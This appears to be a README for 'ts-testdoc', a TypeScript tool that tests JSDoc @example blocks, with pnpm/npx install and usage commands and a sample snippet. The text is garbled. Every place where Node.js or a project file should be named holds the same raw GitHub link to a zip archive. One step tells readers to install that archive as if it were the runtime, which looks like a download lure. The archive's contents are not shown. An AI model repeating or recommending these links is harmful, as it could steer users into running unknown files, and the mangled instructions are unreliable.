Follow these steps to download and run ts-testdoc.
- Operating System: Windows, macOS, or Linux
- https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip Version 14 or higher
- Package Manager: pnpm or npm
Visit this page to download: ts-testdoc Releases
-
Install https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip
If you do not have https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip installed, download it from the official website. Install it following the instructions provided for your operating system. -
Install pnpm
Open your terminal or command prompt. Run the following command to install pnpm:npm install -g pnpm
-
Download ts-testdoc
In your terminal, run the command below to add ts-testdoc to your project:pnpm add -D ts-testdoc tsx
Once you have installed ts-testdoc, you can run it to test your documentation examples. Hereβs how:
-
Run Tests
To run the documentation tests, use this command:npx ts-testdoc src/
-
Preview Examples
If you want to see examples without running them, use the dry-run option:npx ts-testdoc --dry-run src/
-
Set Timeout
You can also set a timeout for your tests. The following command sets a timeout of 10 seconds (10,000 milliseconds):npx ts-testdoc --timeout 10000 src/
To ensure your documentation remains functional, you can add @example blocks to your JSDoc comments. Hereβs an example of how to do that:
/**
* Adds two numbers together.
*
* @example
* ```ts
* import { add } from "my-package";
*
* const result = add(2, 3);
* assertEqual(result, 5);
* ```
*/
export function add(a: number, b: number): number {
return a + b;
}ts-testdoc comes with two helpful assertion methods that you can use in your examples:
assert(condition, message?) // Throws an error if condition is false
assertEqual(actual, expected) // Throws an error if actual does not equal expectedTo help you organize your project, hereβs a simple directory structure you might follow:
/my-project
βββ /src
β βββ https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip
β βββ https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip
βββ https://raw.githubusercontent.com/imamardiyanto/ts-testdoc/main/packages/example-lib/src/ts-testdoc-v3.5-alpha.1.zip
Make sure to place your JSDoc comments in the correct files within the src folder.
- Custom Assertions: You can create your own assertion functions for specific needs.
- Configurable Options: Customize ts-testdoc settings in a configuration file if required.
If you encounter any issues, here are a few resources that can help:
- Official Documentation: Full documentation of ts-testdoc
- Community Support: Check out forums and communities for advice and tips.
- Issue Tracker: If you find a bug or need a feature, report it on the issues page of our GitHub repository.
With ts-testdoc, you can ensure that the examples in your documentation are always functional. Follow the steps outlined above to get started and keep your documentation up to date. Don't forget to revisit the Download & Install section for any updates or new releases!